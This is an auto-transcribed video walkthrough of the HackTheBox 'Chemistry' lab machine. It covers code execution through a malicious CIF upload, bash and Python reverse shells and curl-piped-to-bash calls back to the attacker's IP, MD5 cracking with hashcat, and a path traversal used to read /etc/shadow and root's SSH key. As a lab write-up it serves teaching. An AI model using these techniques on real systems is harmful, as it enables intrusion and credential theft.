text: what's going on YouTube this is IPC and be doing chemistry from hack the box and I recorded this video without any prep because when I solved this four or five months ago I left myself a note saying it would be fun doing Blind and since I'm going to add it semi blind let's not spoil anything here and just jump right in as always we start with the N map so- SCC for default scripts SV enumerate versions - VV for double rebost this gives us things like the TTL OA output all formats put in the end map directory and call it chemistry and then the IP address of 10101 11.38 this can take sub typ to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and the banner tells us it's an auntu server and then we have something on Port 5000 and looking at the scripts we know there's going to be an HTTP server most likely

title: HackTheBox - Chemistry


text: probably flask or something like that just because we see Python and work Zug so let's go ahead and take a look at Port 5000 so I'm going to go to http 10 10 1138 Port 5000 and we get a chemistry CIF analyzer and the tool allows to upload a CIF the crystal graphic information file so let's register an account I'm just going to register IPC and password and then let's attempt to well we already logged in it gives us an example file so I'm going to download the example I'm trying to figure out exactly what it's using to process this CIF file so I'm going to move down downloads example over here let's take a look at it and we don't really get anything that makes sense to me I'm going to run exi tool against it maybe there's something in the metadata that tells where it came from I don't see anything here let's just go ahead and upload it so I'm go in my htb

title: HackTheBox - Chemistry


text: directory then we can do chemistry upload this example and I guess we can go to view and see if it shows us anything and I'm still not getting anything I'm going to look at the source and when I do the source it wants me to log in I'm just going to go to burp site to do this so we can see the actual page and I'm still just seeing if there's any hints at like what it's using to process this and it doesn't really say anything so at this point I'm just going to do a Hail Mary and we're going to Google like CIF exploit right so I'm just going to Google CIF exploits we can go into Google we could also like go to chat GPT and ask like what are the most common things to process the whatever information file this is the CIF and it may give us a few python libraries but looking here we have what looks like a proof of concept for Pat gen so let's go ahead and copy this and

title: HackTheBox - Chemistry


text: we'll do V on. CIF paste it and we can see where it's executing code so we have it doing a touch ped we can't really see the directories on this so I'm going to change this to be a ping so we do a ping and before I run that I think it's DN for a number of times is it- C uh it's probably- C on Linux I always get those mixed up between Windows and Linux so that's why I always test myself we'll do 10 10 148 so we're going to Ping ourselves Once on This and yeah let's run a TCP dump so we'll do pseudo TCP dump dasi t0 icmp and I'm also going to throw the DN flag so we don't do any like DNS resolution and let's go ahead and upload this file so I'm going to do browse v. CIF upload view we get an internal service error and I did not get anything so we did not receive a ping so I'm guessing this did not

title: HackTheBox - Chemistry


text: work let's see we could also try maybe a sleep oh I need C1 I made that mistake when I was like typing it to myself too so let's delete this let's upload it again upload View helps if I'm running TCP dump refresh and we get a ping so again if this didn't work that's why I would have fallen back and tried the sleep to see if it maybe takes a little bit longer I can show what that looks like just so we can see if it works um sleep may not always work because sometimes it's like um like threaded or single threaded and it just like Forks this process so you don't get it running but I have a feeling since this is outputting the data of this formula it's not going to Fork anything so we should be able to sleep for 30 seconds and see the delay right so let's go back we can delete vau re-upload it and then when we hit view now we're

title: HackTheBox - Chemistry


text: waiting I probably should have done like 5 seconds but you can definitely see it's hanging for much longer than it was in order to uh display an airor message you can see intercept is off so probably in another 15 seconds we'll see that so let's go ahead and edit this and we know we have code execution so let's try putting a reverse shell so let's do um let's see B- C b-i Dev TCP 10 1048 910 and one like that okay that should be fine save it and then NC lvmp 901 and we got internal server error there so we'll delete the vau re-upload it view it and we didn't get a shell so we probably have some bad characters so how can we process this um let's try converting this to phas 64 so I'm just going to to do this we have to put that quote there and then we can say cat temp base 64 w0 okay we can copy this go back into a

title: HackTheBox - Chemistry


text: vau and then let us do a echo paste b 64- d pipe it over to bash and that looks good let's go ahead and upload this again so we'll do browse uh we have to delete it upload view helps if we listen on our Port refresh and we still don't get anything so let's switch up our idea and what I'm going to do is switch over to curl because for some reason we can't get anything working so let's do curl HTTP 10 1048 we'll just do it on Port 8,000 and we'll get per so I'm going to test this out to make sure we can um make that curl request to us and then we'll pipe it over to a script right uh we have to delete it upload view it's taking a long time that's good so we have definitely have the curl so let's go VI Von and then we're going to pipe this over to bash save that make D dubdub dub go in here V own

title: HackTheBox - Chemistry


text: B- C oh we don't even need that we can just do bash d i Dev TCP 10 10 14 8 9,1 0 and one like that and the reason why we don't need the- c is because the curl command is calling bash so we know we're in bash and the whole reason we want to be in bash is because this Dev TCP thing is a bash ISM right if we're in a different shell maybe zsh um we may not have the ability to do a socket like this just in as a file so let's do python 3- mhtp server we're listening let us delete vau upload it did I edit this V I did awesome so let's view and we did we don't have any shell so maybe something is like maybe we don't have bash on the system that's always a possibility so let's switch this up and I'm going to do a uh I know we have python so let's change this up and just execute Python 3 and then let's change up our script so dubdub dub pone and I'm going to Google

title: HackTheBox - Chemistry


text: python reverse Shelf and let's see reverse sh cheat sheet this should be fine Python and we have a lot so I'm just going to copy this one it should be fine paste and we'll change the IP to be 1010 148 90001 okay and let's see we already edited V right that's now going to Python 3 that should be fine now let's try this out so I'm going to go back browse V well delete upload view it's hanging which is a good sign and finally we have a reverse shell um we do have bash uh let's see bash dasi Dev TCP 10 10480 and one did I screw that up um did I just typ of the whole thing b-i Dev TCP oh I was not typing a port Dev TCP 10 104 8 90001 Z and one like that see B- C Bashi maybe we don't have a good version of bash on this box nope that works so what you are seeing here the bad FD number that's probably because I'm in sh I'm not in bash remember I was just saying it was a bash ISM I caught

title: HackTheBox - Chemistry


text: myself because um from python we only executed s but that bash shell does work um hold on one second let's go v dubdub dub pone let's actually move pone to pone Pi V pone let's copy this because I'm curious why my reverse shell was not working we'll insert that we know that worked so now we just want to V Von do CIF we will pipe this over to bash again okay and we're going to try this one last time and then just move on and we'll probably come back to it after we rooted the Box because I am really curious at why this is not working on CIF upload view it got it cuz we're at 44 44 but we have no reverse shell so we'll have to come back to this one because nothing is making sense I guess we could say like uh two Dev shm error maybe this will work let's put it here as well so we're going to redirect error messages to the um

title: HackTheBox - Chemistry


text: file and maybe that will help V upload listen view LSD shm we have an error awesome okay does not help us and I noticed one mistake that you're probably laughing at if not um common mistake let's do error two here because it's possible that the curl errored out and then the bash ered out as well and we just clobbered the file because um I think we I think we're only directing it once maybe that would appended so let's just try this real quick I know I said I would move on after that but I am really puzzled to why this is not working so I'll go back I'm going to laugh when it like comes out it's just a weird typo I'm making and not catching but yeah still no shell uh because we didn't hit view okay still no shell LSD shm cat Dev shm error this is the curl command error two what I have I did B

title: HackTheBox - Chemistry


text: Star oh I just have it piped to bash I wonder if B is like a special character or something and it always puts B Star let's pipe it to sh that should work still because in my dubdub dub I do have bash C right yeah so even I'm executing with a shell I should upgrade to bash in the curl command so if for some reason something funky is going on in V.C where you can't just just um type the word bash which is bizarre um it should still work because I'm not typing bash in CIF that is coming from the curl so let's delete this run it View and we got a shell with the bash oneliner so for some reason we just can't write the word bash but that is generally how i' go about troubleshooting that right we knew we had command execution because ping worked sleep worked um we kept trying other ways to get bash working we never did so we fell back to Python and then once we had a shell and we could see

title: HackTheBox - Chemistry


text: what's going on in the Box we decided to do some debugging by piping error messages somewhere looking at them and realizing bash is a naughty word that um CIF does not like no idea why but at least we've improved our workflow and know how to troubleshoot that right because every now and then you do come across like web application firewalls or things like that that just have bad word list and that can cause payloads to not work right so it's always good to have a good troubleshooting methodology so now that we have a shell on the web server the very first thing I always like doing is dumping the database right because we get password hashes and things like that so let's go ahead and do that first I'm upgrading my shell so I can um r Wait hold on okay I'm upgrading my shell so I can control C sometimes it's hard to type

title: HackTheBox - Chemistry


text: and talk at the same time but let's look at exactly where the database is so if I cat app.py actually we can just do um let's clear the screen first export term is equal to X term and I'll do lntp and looking for database Port I don't see anything we do have 8080 so that's probably another web server or something um um we could C Local Host 8080 connection refused what um that is listening right it is U maybe there's a firewall in place uh cat Etsy IP tables rules V4 only root can read that file I don't think that's a default config so um once we root the Box we should take a look at that but let's go ahead and uh try to dump passwords so I'm guessing there's a DB file somewhere found it do we have SQL light on this box please say we do awesome we do so we don't have to copy it back of door box and we have

title: HackTheBox - Chemistry


text: credentials right here so let's go ahead and grab these V temp let's just paste that there we go and let's see I'm going to do a a field separator of a single quote and we're going to print to colon 4 I think there we go so now we have username colon the hash and this just looks like md5 sums I bet we could uh validate that by looking at probably app.py um is there a login login required upload there we go let's see filter hash lib md5 so yeah this is just a raw md5 so we can grab all these go into the box I call the crack in it's just a box on my local network uh you can crack it anywhere you want you don't even need to use hash capap for this you could probably go to like um any online tool like crack station just input all these hashes but since I have a lot of them that's why I'm going with hashcat it's just a bit quicker I think

title: HackTheBox - Chemistry


text: uh so we'll do hashcat bin uh example hashes because I'm not exactly sure what md5 is I want to say it's zero yep and zero is raw md5 hash so hashcat bin dm0 hash is chemistry opt wordlist Rock you. text and we also want to specify the user flag because we have username call in the password so it looks like it cracked a few I'm going to delete the word list do D- show and we have a few passwords right so let's go look at our shell again I'm going to grip every line that ends in sh and Etsy P WD and we can see root Rosa and app and we do have Rosa and her password is I'm not even going to attempt to pronounce that unicornio rot that is I don't know what that is we'll you to Rosa and we can um I'm going to try to upgrade my shell by just using SSH so we'll do 10 10 11 what was the IP 38 whenever you can S I would highly recommend it because it just is a much better TTY than a reverse shell right so

title: HackTheBox - Chemistry


text: now we're Rosa can I curl Local Host 880 I can awesome so let's stand up a um tunnel and we got command line disabled I have just upgraded to parot 6 um my anable p uh Playbook works on my GitHub so if you want to copy my VM you can now do that but for some reason the SSH command line is disabled it's like enable Escape commands I want to say let's see enable there we go enable Escape command line so let's exit this pseudo V Etsy SSH sshor config I'm going to have to add that into the Playbook to always do this because I love that command line well SSH and let us copy the password paste it in and the very first thing you're typing is squiggly C it drops you into that command line if you have that option enabled in your SSH config so let's forward we'll say Port 8081 because I have burp site listing on my 8080 I'm going to forward that through

title: HackTheBox - Chemistry


text: SSH to the Local Host on 8080 so now on my 8081 we should hit 8080 on the box and it looks like we do so we have site monitor in and a few links we have home start service stop service all these functions are not available list service so we can list running services on this check attacks under development so I don't know exactly what this app is looking at the source trying to see exactly how this is working nothing really interesting here let's see let's do a p ef-- Forest l-s because we want to see what this app is so let's see VM tools home app app.py this is definitely our um Port 5000 application because you can see a reverse shells going on it then we have this opt monitoring site app.py so let's go take a look at this CD opt CD monitoring site permission denied only root can read this um what

title: HackTheBox - Chemistry


text: is the header so I'm going to do a c-i that shows me the um headers of the application and we see it Is AO HTTP so let's see what this is um we should look for exploits just going to Google exploits we do have a cve um GitHub exploit zero bite awesome and let's see a bash script and this is one odd way to do it so URL Local Host 881 okay payload is dot do slash no that's string payload is static okay and file is Etsy passwd and payload we keep appending the string okay this is bizarre but okay this is fine it'll work work um V exploit. sh we can run it so what this is going to do is um attempt to grab Etsy passwd and it's just keeps appending dot do slash and everything is 404 and it's testing with SL static let's see what the cve states the follow Sim links must be set see we don't have a static here but we have assets I bet it's going to be

title: HackTheBox - Chemistry


text: something with routing yeah so we'll go over it once we root the box if this works um but I'm guessing we just need to fix this because the payload is going to be on assets like this and yeah it is and we probably don't need to be exact I just want to test this real quick let's cat exploit.

title: HackTheBox - Chemistry


text: sh um curl path as is HTTP Local Host 8081 we're going to do a bunch of dot dot slashes and I forgot the the word assets so we'll do that in a second assets like that yeah we don't have to be exact we can just do a lot so now we have a way to read files and looking at this um let's go back to our SSH the PF command where is it there it is uh let's look at python we can see it's running under root right so we should be able to read any file on disk so if we wanted to we could read like Etsy Shadow right and there we go um I'm going to see if there is a SSH key so we'll do root SSH idore RSA and there is um I would also probably like do authorized Keys first and see what type of key it is because it could be like um like ecd 255 whatever that key is which then would just have a different um private key

title: HackTheBox - Chemistry


text: name right so if I DSA didn't work that's where I would go next I'm just going to direct this to a file we'll call it root. pem chod 600 root pem take a look at it looks good sh- I root at 10 10 11 38 was it uh where was it yep 38 and there we go we have rooted the box so we got root. text there so what did we want to look at um we can go opt monitoring site if we look at app.py Yep this is why so um this function when follow Sim links is set apparently it just doesn't do any checking right so whenever there is this is a route so the route assets follow Sim links is not set so then it takes whatever is after it and attempts to get that file I bet if had disabled follow Sim links then it wouldn't follow the dot dot slashes and go up um I don't know why the path this path should be set to static I'm guessing there's a static directory yeah that's

title: HackTheBox - Chemistry


text: just lazy um if this was coded somewhat well this should just mirror the same name as this I think but um yeah that is pretty much the box I'm trying to think if there's anything else I wanted to show I don't think there is so oh wait I lied there was one thing uh we want to look at IP tables rules right because from one user we could not hit Port 8880 so if we do IP tables Ln we can see owner uid matches 1,1 destination Point Port of 8080 reject with icmp Port unreachable so that is why we couldn't hit this I bet um or shell what user are we who am I we are app so if we grap sh Etsy passwd I bet app is going to be 101 it is so that is why we couldn't hit 8080 there's an IP tables rule blocking us from doing so if you want to look at how they set that up we can look at Etsy IP tables rules V4 and see the exact command um this is

title: HackTheBox - Chemistry


text: a pretty cool thing to do with IP tables creating filters based upon um the user that's running it so with that that is the video take care and I will see you all next time

title: HackTheBox - Chemistry